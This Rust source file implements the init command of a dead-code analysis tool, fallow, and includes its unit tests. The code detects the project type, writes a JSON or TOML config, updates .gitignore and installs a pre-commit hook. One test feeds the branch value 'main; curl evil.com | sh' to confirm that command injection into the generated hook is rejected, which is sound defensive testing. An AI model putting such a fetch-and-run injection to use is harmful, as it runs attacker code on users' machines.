use std::path::Path;
use std::process::ExitCode;
use fallow_config::{ExternalPluginDef, FallowConfig, PackageJson};
use crate::validate;
struct ProjectInfo {
is_monorepo: bool,
workspace_patterns: Vec<String>,
workspace_tool: Option<String>,
has_typescript: bool,
test_framework: Option<String>,
ui_framework: Option<String>,
has_storybook: bool,
}
fn detect_project(root: &Path) -> ProjectInfo {
let is_pnpm = root.join("pnpm-workspace.yaml").exists();
let has_typescript = root.join("tsconfig.json").exists();
let has_storybook = root.join(".storybook").is_dir();
let pkg = PackageJson::load(&root.join("package.json")).ok();
let pkg_workspace_patterns = pkg
.as_ref()
.map(|p| p.workspace_patterns())
.unwrap_or_default();
let has_npm_workspaces = !pkg_workspace_patterns.is_empty();
let is_monorepo = is_pnpm || has_npm_workspaces;
let workspace_patterns = if is_pnpm && pkg_workspace_patterns.is_empty() {
read_pnpm_workspace_patterns(root)
} else {
pkg_workspace_patterns
};
let workspace_tool = if is_pnpm {
Some("pnpm".to_string())
} else if has_npm_workspaces {
if root.join("yarn.lock").exists() {
Some("yarn".to_string())
} else {
Some("npm".to_string())
}
} else {
None
};
let all_deps = pkg
.as_ref()
.map(PackageJson::all_dependency_names)
.unwrap_or_default();
let test_framework = if all_deps.iter().any(|d| d == "vitest") {
Some("Vitest".to_string())
} else if all_deps.iter().any(|d| d == "jest") {
Some("Jest".to_string())
} else if all_deps.iter().any(|d| d == "@playwright/test") {
Some("Playwright".to_string())
} else {
None
};
let ui_framework = if all_deps.iter().any(|d| d == "react" || d == "react-dom") {
Some("React".to_string())
} else if all_deps.iter().any(|d| d == "vue") {
Some("Vue".to_string())
} else if all_deps.iter().any(|d| d == "svelte") {
Some("Svelte".to_string())
} else if all_deps.iter().any(|d| d == "@angular/core") {
Some("Angular".to_string())
} else {
None
};
ProjectInfo {
is_monorepo,
workspace_patterns,
workspace_tool,
has_typescript,
test_framework,
ui_framework,
has_storybook,
}
}
fn read_pnpm_workspace_patterns(root: &Path) -> Vec<String> {
let path = root.join("pnpm-workspace.yaml");
let Ok(content) = std::fs::read_to_string(&path) else {
return Vec::new();
};
let mut patterns = Vec::new();
let mut in_packages = false;
for line in content.lines() {
let trimmed = line.trim();
if trimmed == "packages:" {
in_packages = true;
continue;
}
if in_packages {
if let Some(value) = trimmed.strip_prefix("- ") {
let value = value.trim().trim_matches('\'').trim_matches('"');
if !value.is_empty() {
patterns.push(value.to_string());
}
} else if !trimmed.is_empty() && !trimmed.starts_with('#') {
break;
}
}
}
patterns
}
fn build_json_config(info: &ProjectInfo) -> String {
let mut config = serde_json::json!({
"$schema": "https://raw.githubusercontent.com/fallow-rs/fallow/main/schema.json",
});
let extensions = if info.has_typescript {
"{ts,tsx,js,jsx}"
} else {
"{js,jsx,mjs}"
};
config["entry"] = serde_json::json!([
format!("src/index.{extensions}"),
format!("src/main.{extensions}"),
]);
if info.is_monorepo && !info.workspace_patterns.is_empty() {
config["workspaces"] = serde_json::json!({
"packages": info.workspace_patterns,
});
}
let mut ignore = Vec::new();
if info.has_storybook {
ignore.push(".storybook/**");
}
if !ignore.is_empty() {
config["ignorePatterns"] = serde_json::json!(ignore);
}
let mut rules = serde_json::Map::new();
if info.test_framework.is_some() {
rules.insert("unused-dependencies".to_string(), serde_json::json!("warn"));
}
config["rules"] = serde_json::Value::Object(rules);
let mut output = serde_json::to_string_pretty(&config)
.expect("config built from json! literals is always serializable");
output.push('\n');
output
}
fn build_toml_config(info: &ProjectInfo) -> String {
let mut lines = vec![
"# fallow.toml - Codebase analysis configuration".to_string(),
"# See https://docs.fallow.tools for documentation".to_string(),
String::new(),
];
let extensions = if info.has_typescript {
"{ts,tsx,js,jsx}"
} else {
"{js,jsx,mjs}"
};
lines.push(format!(
"entry = [\"src/index.{extensions}\", \"src/main.{extensions}\"]"
));
if info.has_storybook {
lines.push("ignorePatterns = [\".storybook/**\"]".to_string());
}
lines.push(String::new());
if info.is_monorepo && !info.workspace_patterns.is_empty() {
lines.push("[workspaces]".to_string());
let patterns_str: Vec<String> = info
.workspace_patterns
.iter()
.map(|p| format!("\"{p}\""))
.collect();
lines.push(format!("packages = [{}]", patterns_str.join(", ")));
lines.push(String::new());
}
lines.push(
"# Per-issue-type severity: \"error\" (fail CI), \"warn\" (report only), \"off\" (ignore)"
.to_string(),
);
lines.push("[rules]".to_string());
if info.test_framework.is_some() {
lines.push("unused-dependencies = \"warn\"".to_string());
}
lines.push(String::new());
lines.join("\n")
}
fn print_detection_summary(info: &ProjectInfo) {
let mut detections = Vec::new();
let type_label = if info.has_typescript {
"TypeScript"
} else {
"JavaScript"
};
if info.is_monorepo {
let tool = info.workspace_tool.as_deref().unwrap_or("unknown");
detections.push(format!("{type_label} monorepo ({tool})"));
} else {
detections.push(type_label.to_string());
}
let mut frameworks = Vec::new();
if let Some(test) = &info.test_framework {
frameworks.push(test.as_str());
}
if let Some(ui) = &info.ui_framework {
frameworks.push(ui.as_str());
}
if info.has_storybook {
frameworks.push("Storybook");
}
if !frameworks.is_empty() {
detections.push(frameworks.join(", "));
}
for detection in &detections {
eprintln!(" Detected: {detection}");
}
let mut customizations = Vec::new();
if info.is_monorepo && !info.workspace_patterns.is_empty() {
customizations.push("workspace patterns");
}
if info.has_storybook {
customizations.push("framework ignore rules");
}
if info.test_framework.is_some() {
customizations.push("test framework rules");
}
if !customizations.is_empty() {
eprintln!(" Config includes {}", customizations.join(" and "));
}
}
pub struct InitOptions<'a> {
pub root: &'a Path,
pub use_toml: bool,
pub hooks: bool,
pub branch: Option<&'a str>,
}
pub fn run_init(opts: &InitOptions<'_>) -> ExitCode {
if opts.hooks {
return run_init_hooks(opts.root, opts.branch);
}
run_init_config(opts.root, opts.use_toml)
}
fn run_init_config(root: &Path, use_toml: bool) -> ExitCode {
let existing_names = [".fallowrc.json", "fallow.toml", ".fallow.toml"];
for name in &existing_names {
let path = root.join(name);
if path.exists() {
eprintln!("{name} already exists");
return ExitCode::from(2);
}
}
let info = detect_project(root);
if use_toml {
let config_path = root.join("fallow.toml");
let config_content = build_toml_config(&info);
if let Err(e) = std::fs::write(&config_path, config_content) {
eprintln!("Error: Failed to write fallow.toml: {e}");
return ExitCode::from(2);
}
eprintln!("Created fallow.toml");
} else {
let config_path = root.join(".fallowrc.json");
let config_content = build_json_config(&info);
if let Err(e) = std::fs::write(&config_path, config_content) {
eprintln!("Error: Failed to write .fallowrc.json: {e}");
return ExitCode::from(2);
}
eprintln!("Created .fallowrc.json");
}
print_detection_summary(&info);
ensure_gitignore(root);
ExitCode::SUCCESS
}
fn ensure_gitignore(root: &Path) {
let gitignore_path = root.join(".gitignore");
let existing = std::fs::read_to_string(&gitignore_path).unwrap_or_default();
let already_ignored = existing.lines().any(|line| {
let trimmed = line.trim();
trimmed == ".fallow" || trimmed == ".fallow/"
});
if already_ignored {
return;
}
let is_new = existing.is_empty();
let entry = if is_new {
".fallow/\n"
} else if existing.ends_with('\n') {
".fallow/\n"
} else {
"\n.fallow/\n"
};
let mut contents = existing;
contents.push_str(entry);
if let Err(e) = std::fs::write(&gitignore_path, contents) {
eprintln!("Warning: Failed to update .gitignore: {e}");
return;
}
if is_new {
eprintln!("Created .gitignore with .fallow/ entry");
} else {
eprintln!("Added .fallow/ to .gitignore");
}
}
fn detect_default_branch(root: &Path) -> Option<String> {
let output = std::process::Command::new("git")
.args(["symbolic-ref", "refs/remotes/origin/HEAD"])
.current_dir(root)
.output()
.ok()?;
if output.status.success() {
let full_ref = String::from_utf8(output.stdout).ok()?;
return full_ref
.trim()
.strip_prefix("refs/remotes/origin/")
.map(String::from);
}
None
}
fn run_init_hooks(root: &Path, branch: Option<&str>) -> ExitCode {
if let Some(b) = branch
&& let Err(e) = validate::validate_git_ref(b)
{
eprintln!("Error: invalid --branch: {e}");
return ExitCode::from(2);
}
let base_ref = branch
.map(String::from)
.or_else(|| detect_default_branch(root))
.unwrap_or_else(|| "main".to_string());
let hook_content = format!(
"#!/bin/sh\n\
# fallow pre-commit hook -- catch dead code before it merges\n\
# Remove or edit this file to change the hook behavior.\n\
# Bypass on a single commit with: git commit --no-verify\n\
\n\
command -v fallow >/dev/null 2>&1 || exit 0\n\
fallow dead-code --changed-since {base_ref} --fail-on-issues --quiet\n"
);
enum HookTarget {
Husky(std::path::PathBuf),
Lefthook,
GitHooks(std::path::PathBuf),
}
let target = if root.join(".husky").is_dir() {
HookTarget::Husky(root.join(".husky/pre-commit"))
} else if root.join(".lefthook").is_dir()
|| root.join("lefthook.yml").exists()
|| root.join("lefthook.json").exists()
{
HookTarget::Lefthook
} else if root.join(".git/hooks").is_dir() {
HookTarget::GitHooks(root.join(".git/hooks/pre-commit"))
} else {
eprintln!(
"Error: No .git directory found. Run `git init` first, or use --hooks \
from the repository root."
);
return ExitCode::from(2);
};
match target {
HookTarget::Husky(hook_path) => {
if hook_path.exists() {
eprintln!(
"Error: .husky/pre-commit already exists. \
Add the following line to your existing hook:\n\n \
fallow dead-code --changed-since {base_ref} --fail-on-issues --quiet"
);
return ExitCode::from(2);
}
if let Err(e) = write_hook(&hook_path, &hook_content) {
eprintln!("Error: Failed to write .husky/pre-commit: {e}");
return ExitCode::from(2);
}
eprintln!("Created .husky/pre-commit");
}
HookTarget::Lefthook => {
eprintln!(
"Lefthook detected. Add the following to your lefthook.yml:\n\n \
pre-commit:\n commands:\n fallow:\n \
run: fallow dead-code --changed-since {base_ref} --fail-on-issues --quiet"
);
return ExitCode::SUCCESS;
}
HookTarget::GitHooks(hook_path) => {
if hook_path.exists() {
eprintln!(
"Error: .git/hooks/pre-commit already exists. \
Add the following line to your existing hook:\n\n \
fallow dead-code --changed-since {base_ref} --fail-on-issues --quiet"
);
return ExitCode::from(2);
}
if let Err(e) = write_hook(&hook_path, &hook_content) {
eprintln!("Error: Failed to write .git/hooks/pre-commit: {e}");
return ExitCode::from(2);
}
eprintln!("Created .git/hooks/pre-commit");
}
}
eprintln!("\nThe hook runs `fallow dead-code` on files changed since `{base_ref}`.");
eprintln!("To skip the hook on a single commit: git commit --no-verify");
ExitCode::SUCCESS
}
fn write_hook(path: &Path, content: &str) -> std::io::Result<()> {
std::fs::write(path, content)?;
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
let mut perms = std::fs::metadata(path)?.permissions();
perms.set_mode(0o755);
std::fs::set_permissions(path, perms)?;
}
Ok(())
}
pub fn run_config_schema() -> ExitCode {
let schema = FallowConfig::json_schema();
match serde_json::to_string_pretty(&schema) {
Ok(json) => {
println!("{json}");
ExitCode::SUCCESS
}
Err(e) => {
eprintln!("Error: failed to serialize schema: {e}");
ExitCode::from(2)
}
}
}
pub fn run_plugin_schema() -> ExitCode {
let schema = ExternalPluginDef::json_schema();
match serde_json::to_string_pretty(&schema) {
Ok(json) => {
println!("{json}");
ExitCode::SUCCESS
}
Err(e) => {
eprintln!("Error: failed to serialize plugin schema: {e}");
ExitCode::from(2)
}
}
}
#[cfg(test)]
mod tests {
use super::*;
fn config_opts(root: &Path, use_toml: bool) -> InitOptions<'_> {
InitOptions {
root,
use_toml,
hooks: false,
branch: None,
}
}
fn hooks_opts<'a>(root: &'a Path, branch: Option<&'a str>) -> InitOptions<'a> {
InitOptions {
root,
use_toml: false,
hooks: true,
branch,
}
}
#[test]
fn init_creates_json_config_by_default() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
let exit = run_init(&config_opts(root, false));
assert_eq!(exit, ExitCode::SUCCESS);
let path = root.join(".fallowrc.json");
assert!(path.exists());
let content = std::fs::read_to_string(&path).unwrap();
assert!(content.contains("$schema"));
assert!(content.contains("rules"));
}
#[test]
fn init_creates_toml_config_when_requested() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
let exit = run_init(&config_opts(root, true));
assert_eq!(exit, ExitCode::SUCCESS);
let path = root.join("fallow.toml");
assert!(path.exists());
let content = std::fs::read_to_string(&path).unwrap();
assert!(content.contains("fallow.toml"));
assert!(content.contains("entry"));
assert!(content.contains("[rules]"));
}
#[test]
fn init_fails_if_fallowrc_json_exists() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
std::fs::write(root.join(".fallowrc.json"), "{}").unwrap();
let exit = run_init(&config_opts(root, false));
assert_eq!(exit, ExitCode::from(2));
}
#[test]
fn init_fails_if_fallow_toml_exists() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
std::fs::write(root.join("fallow.toml"), "").unwrap();
let exit = run_init(&config_opts(root, false));
assert_eq!(exit, ExitCode::from(2));
}
#[test]
fn init_fails_if_dot_fallow_toml_exists() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
std::fs::write(root.join(".fallow.toml"), "").unwrap();
let exit = run_init(&config_opts(root, true));
assert_eq!(exit, ExitCode::from(2));
}
#[test]
fn init_json_config_is_valid_json() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
run_init(&config_opts(root, false));
let content = std::fs::read_to_string(root.join(".fallowrc.json")).unwrap();
let parsed: serde_json::Value = serde_json::from_str(&content).unwrap();
assert!(parsed.is_object());
assert!(parsed["$schema"].is_string());
}
#[test]
fn init_toml_does_not_create_json() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
run_init(&config_opts(root, true));
assert!(!root.join(".fallowrc.json").exists());
assert!(root.join("fallow.toml").exists());
}
#[test]
fn init_json_does_not_create_toml() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
run_init(&config_opts(root, false));
assert!(!root.join("fallow.toml").exists());
assert!(root.join(".fallowrc.json").exists());
}
#[test]
fn init_existing_config_blocks_both_formats() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
std::fs::write(root.join(".fallowrc.json"), "{}").unwrap();
assert_eq!(run_init(&config_opts(root, false)), ExitCode::from(2));
assert_eq!(run_init(&config_opts(root, true)), ExitCode::from(2));
}
#[test]
fn hooks_fails_without_git_dir() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
let exit = run_init(&hooks_opts(root, None));
assert_eq!(exit, ExitCode::from(2));
}
#[test]
fn hooks_creates_git_hook() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
std::fs::create_dir_all(root.join(".git/hooks")).unwrap();
let exit = run_init(&hooks_opts(root, None));
assert_eq!(exit, ExitCode::SUCCESS);
let hook_path = root.join(".git/hooks/pre-commit");
assert!(hook_path.exists());
let content = std::fs::read_to_string(&hook_path).unwrap();
assert!(content.contains("fallow dead-code"));
assert!(content.contains("--changed-since"));
assert!(content.contains("--fail-on-issues"));
assert!(content.contains("command -v fallow"));
}
#[test]
fn hooks_uses_custom_branch_ref() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
std::fs::create_dir_all(root.join(".git/hooks")).unwrap();
let exit = run_init(&hooks_opts(root, Some("develop")));
assert_eq!(exit, ExitCode::SUCCESS);
let content = std::fs::read_to_string(root.join(".git/hooks/pre-commit")).unwrap();
assert!(content.contains("--changed-since develop"));
}
#[test]
fn hooks_prefers_husky() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
std::fs::create_dir_all(root.join(".husky")).unwrap();
std::fs::create_dir_all(root.join(".git/hooks")).unwrap();
let exit = run_init(&hooks_opts(root, None));
assert_eq!(exit, ExitCode::SUCCESS);
assert!(root.join(".husky/pre-commit").exists());
assert!(!root.join(".git/hooks/pre-commit").exists());
}
#[test]
fn hooks_fails_if_hook_already_exists() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
std::fs::create_dir_all(root.join(".git/hooks")).unwrap();
std::fs::write(root.join(".git/hooks/pre-commit"), "#!/bin/sh\n").unwrap();
let exit = run_init(&hooks_opts(root, None));
assert_eq!(exit, ExitCode::from(2));
}
#[test]
fn hooks_detects_lefthook() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
std::fs::write(root.join("lefthook.yml"), "").unwrap();
let exit = run_init(&hooks_opts(root, None));
assert_eq!(exit, ExitCode::SUCCESS);
}
#[cfg(unix)]
#[test]
fn hooks_file_is_executable() {
use std::os::unix::fs::PermissionsExt;
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
std::fs::create_dir_all(root.join(".git/hooks")).unwrap();
run_init(&hooks_opts(root, None));
let meta = std::fs::metadata(root.join(".git/hooks/pre-commit")).unwrap();
let mode = meta.permissions().mode();
assert!(
mode & 0o111 != 0,
"hook should be executable, mode={mode:o}"
);
}
#[test]
fn hooks_rejects_malicious_branch_ref() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
std::fs::create_dir_all(root.join(".git/hooks")).unwrap();
let exit = run_init(&hooks_opts(root, Some("main; curl evil.com | sh")));
assert_eq!(exit, ExitCode::from(2));
assert!(!root.join(".git/hooks/pre-commit").exists());
}
#[test]
fn init_creates_gitignore_with_fallow_entry() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
run_init(&config_opts(root, false));
let content = std::fs::read_to_string(root.join(".gitignore")).unwrap();
assert!(content.contains(".fallow/"));
}
#[test]
fn init_appends_to_existing_gitignore() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
std::fs::write(root.join(".gitignore"), "node_modules/\n").unwrap();
run_init(&config_opts(root, false));
let content = std::fs::read_to_string(root.join(".gitignore")).unwrap();
assert!(content.starts_with("node_modules/\n"));
assert!(content.contains(".fallow/"));
}
#[test]
fn init_does_not_duplicate_gitignore_entry() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
std::fs::write(root.join(".gitignore"), "node_modules/\n.fallow/\n").unwrap();
run_init(&config_opts(root, false));
let content = std::fs::read_to_string(root.join(".gitignore")).unwrap();
assert_eq!(content.matches(".fallow").count(), 1);
}
#[test]
fn init_recognizes_fallow_without_trailing_slash() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
std::fs::write(root.join(".gitignore"), ".fallow\n").unwrap();
run_init(&config_opts(root, false));
let content = std::fs::read_to_string(root.join(".gitignore")).unwrap();
assert_eq!(content.matches(".fallow").count(), 1);
}
#[test]
fn init_appends_newline_to_gitignore_without_trailing_newline() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
std::fs::write(root.join(".gitignore"), "node_modules/").unwrap();
run_init(&config_opts(root, false));
let content = std::fs::read_to_string(root.join(".gitignore")).unwrap();
assert_eq!(content, "node_modules/\n.fallow/\n");
}
#[test]
fn init_toml_also_updates_gitignore() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
run_init(&config_opts(root, true));
let content = std::fs::read_to_string(root.join(".gitignore")).unwrap();
assert!(content.contains(".fallow/"));
}
#[test]
fn detect_empty_project() {
let dir = tempfile::tempdir().unwrap();
let info = detect_project(dir.path());
assert!(!info.is_monorepo);
assert!(!info.has_typescript);
assert!(!info.has_storybook);
assert!(info.workspace_tool.is_none());
assert!(info.test_framework.is_none());
assert!(info.ui_framework.is_none());
}
#[test]
fn detect_typescript_project() {
let dir = tempfile::tempdir().unwrap();
std::fs::write(dir.path().join("tsconfig.json"), "{}").unwrap();
let info = detect_project(dir.path());
assert!(info.has_typescript);
}
#[test]
fn detect_pnpm_monorepo() {
let dir = tempfile::tempdir().unwrap();
std::fs::write(
dir.path().join("pnpm-workspace.yaml"),
"packages:\n - 'packages/*'\n",
)
.unwrap();
let info = detect_project(dir.path());
assert!(info.is_monorepo);
assert_eq!(info.workspace_tool.as_deref(), Some("pnpm"));
assert_eq!(info.workspace_patterns, vec!["packages/*"]);
}
#[test]
fn detect_npm_workspaces() {
let dir = tempfile::tempdir().unwrap();
std::fs::write(
dir.path().join("package.json"),
r#"{"workspaces": ["packages/*", "apps/*"]}"#,
)
.unwrap();
let info = detect_project(dir.path());
assert!(info.is_monorepo);
assert_eq!(info.workspace_tool.as_deref(), Some("npm"));
assert_eq!(info.workspace_patterns, vec!["packages/*", "apps/*"]);
}
#[test]
fn detect_yarn_workspaces() {
let dir = tempfile::tempdir().unwrap();
std::fs::write(
dir.path().join("package.json"),
r#"{"workspaces": ["packages/*"]}"#,
)
.unwrap();
std::fs::write(dir.path().join("yarn.lock"), "").unwrap();
let info = detect_project(dir.path());
assert!(info.is_monorepo);
assert_eq!(info.workspace_tool.as_deref(), Some("yarn"));
}
#[test]
fn detect_react_vitest_storybook() {
let dir = tempfile::tempdir().unwrap();
std::fs::write(
dir.path().join("package.json"),
r#"{"devDependencies": {"vitest": "^1", "react": "^18"}}"#,
)
.unwrap();
std::fs::create_dir_all(dir.path().join(".storybook")).unwrap();
std::fs::write(dir.path().join("tsconfig.json"), "{}").unwrap();
let info = detect_project(dir.path());
assert!(info.has_typescript);
assert!(info.has_storybook);
assert_eq!(info.test_framework.as_deref(), Some("Vitest"));
assert_eq!(info.ui_framework.as_deref(), Some("React"));
}
#[test]
fn detect_jest() {
let dir = tempfile::tempdir().unwrap();
std::fs::write(
dir.path().join("package.json"),
r#"{"devDependencies": {"jest": "^29"}}"#,
)
.unwrap();
let info = detect_project(dir.path());
assert_eq!(info.test_framework.as_deref(), Some("Jest"));
}
#[test]
fn detect_vue() {
let dir = tempfile::tempdir().unwrap();
std::fs::write(
dir.path().join("package.json"),
r#"{"dependencies": {"vue": "^3"}}"#,
)
.unwrap();
let info = detect_project(dir.path());
assert_eq!(info.ui_framework.as_deref(), Some("Vue"));
}
#[test]
fn detect_angular() {
let dir = tempfile::tempdir().unwrap();
std::fs::write(
dir.path().join("package.json"),
r#"{"dependencies": {"@angular/core": "^17"}}"#,
)
.unwrap();
let info = detect_project(dir.path());
assert_eq!(info.ui_framework.as_deref(), Some("Angular"));
}
#[test]
fn detect_svelte() {
let dir = tempfile::tempdir().unwrap();
std::fs::write(
dir.path().join("package.json"),
r#"{"devDependencies": {"svelte": "^4"}}"#,
)
.unwrap();
let info = detect_project(dir.path());
assert_eq!(info.ui_framework.as_deref(), Some("Svelte"));
}
#[test]
fn detect_playwright() {
let dir = tempfile::tempdir().unwrap();
std::fs::write(
dir.path().join("package.json"),
r#"{"devDependencies": {"@playwright/test": "^1"}}"#,
)
.unwrap();
let info = detect_project(dir.path());
assert_eq!(info.test_framework.as_deref(), Some("Playwright"));
}
#[test]
fn json_config_empty_project_is_valid() {
let info = ProjectInfo {
is_monorepo: false,
workspace_patterns: Vec::new(),
workspace_tool: None,
has_typescript: false,
test_framework: None,
ui_framework: None,
has_storybook: false,
};
let json = build_json_config(&info);
let parsed: serde_json::Value = serde_json::from_str(&json).unwrap();
assert!(parsed["$schema"].is_string());
assert!(parsed["entry"].is_array());
assert!(parsed["rules"].is_object());
assert!(json.contains("{js,jsx,mjs}"));
}
#[test]
fn json_config_typescript_uses_ts_extensions() {
let info = ProjectInfo {
is_monorepo: false,
workspace_patterns: Vec::new(),
workspace_tool: None,
has_typescript: true,
test_framework: None,
ui_framework: None,
has_storybook: false,
};
let json = build_json_config(&info);
assert!(json.contains("{ts,tsx,js,jsx}"));
}
#[test]
fn json_config_monorepo_includes_workspaces() {
let info = ProjectInfo {
is_monorepo: true,
workspace_patterns: vec!["packages/*".to_string(), "apps/*".to_string()],
workspace_tool: Some("pnpm".to_string()),
has_typescript: true,
test_framework: None,
ui_framework: None,
has_storybook: false,
};
let json = build_json_config(&info);
let parsed: serde_json::Value = serde_json::from_str(&json).unwrap();
assert!(parsed["workspaces"]["packages"].is_array());
let packages = parsed["workspaces"]["packages"].as_array().unwrap();
assert_eq!(packages.len(), 2);
}
#[test]
fn json_config_storybook_adds_ignore() {
let info = ProjectInfo {
is_monorepo: false,
workspace_patterns: Vec::new(),
workspace_tool: None,
has_typescript: true,
test_framework: None,
ui_framework: None,
has_storybook: true,
};
let json = build_json_config(&info);
let parsed: serde_json::Value = serde_json::from_str(&json).unwrap();
let ignore = parsed["ignorePatterns"].as_array().unwrap();
assert!(ignore.iter().any(|v| v == ".storybook/**"));
}
#[test]
fn json_config_test_framework_adds_rule() {
let info = ProjectInfo {
is_monorepo: false,
workspace_patterns: Vec::new(),
workspace_tool: None,
has_typescript: true,
test_framework: Some("Vitest".to_string()),
ui_framework: None,
has_storybook: false,
};
let json = build_json_config(&info);
let parsed: serde_json::Value = serde_json::from_str(&json).unwrap();
assert_eq!(parsed["rules"]["unused-dependencies"], "warn");
}
#[test]
fn toml_config_monorepo_includes_workspaces() {
let info = ProjectInfo {
is_monorepo: true,
workspace_patterns: vec!["packages/*".to_string()],
workspace_tool: Some("pnpm".to_string()),
has_typescript: true,
test_framework: None,
ui_framework: None,
has_storybook: false,
};
let toml = build_toml_config(&info);
assert!(toml.contains("[workspaces]"));
assert!(toml.contains("packages = [\"packages/*\"]"));
}
#[test]
fn toml_config_storybook_adds_ignore() {
let info = ProjectInfo {
is_monorepo: false,
workspace_patterns: Vec::new(),
workspace_tool: None,
has_typescript: false,
test_framework: None,
ui_framework: None,
has_storybook: true,
};
let toml = build_toml_config(&info);
assert!(toml.contains("ignorePatterns = [\".storybook/**\"]"));
}
#[test]
fn init_json_detects_monorepo_setup() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
std::fs::write(
root.join("package.json"),
r#"{"workspaces": ["packages/*"]}"#,
)
.unwrap();
std::fs::write(root.join("tsconfig.json"), "{}").unwrap();
let exit = run_init(&config_opts(root, false));
assert_eq!(exit, ExitCode::SUCCESS);
let content = std::fs::read_to_string(root.join(".fallowrc.json")).unwrap();
let parsed: serde_json::Value = serde_json::from_str(&content).unwrap();
assert!(parsed["workspaces"]["packages"].is_array());
assert!(content.contains("{ts,tsx,js,jsx}"));
}
#[test]
fn init_toml_detects_monorepo_setup() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
std::fs::write(
root.join("pnpm-workspace.yaml"),
"packages:\n - 'apps/*'\n",
)
.unwrap();
let exit = run_init(&config_opts(root, true));
assert_eq!(exit, ExitCode::SUCCESS);
let content = std::fs::read_to_string(root.join("fallow.toml")).unwrap();
assert!(content.contains("[workspaces]"));
assert!(content.contains("apps/*"));
}
}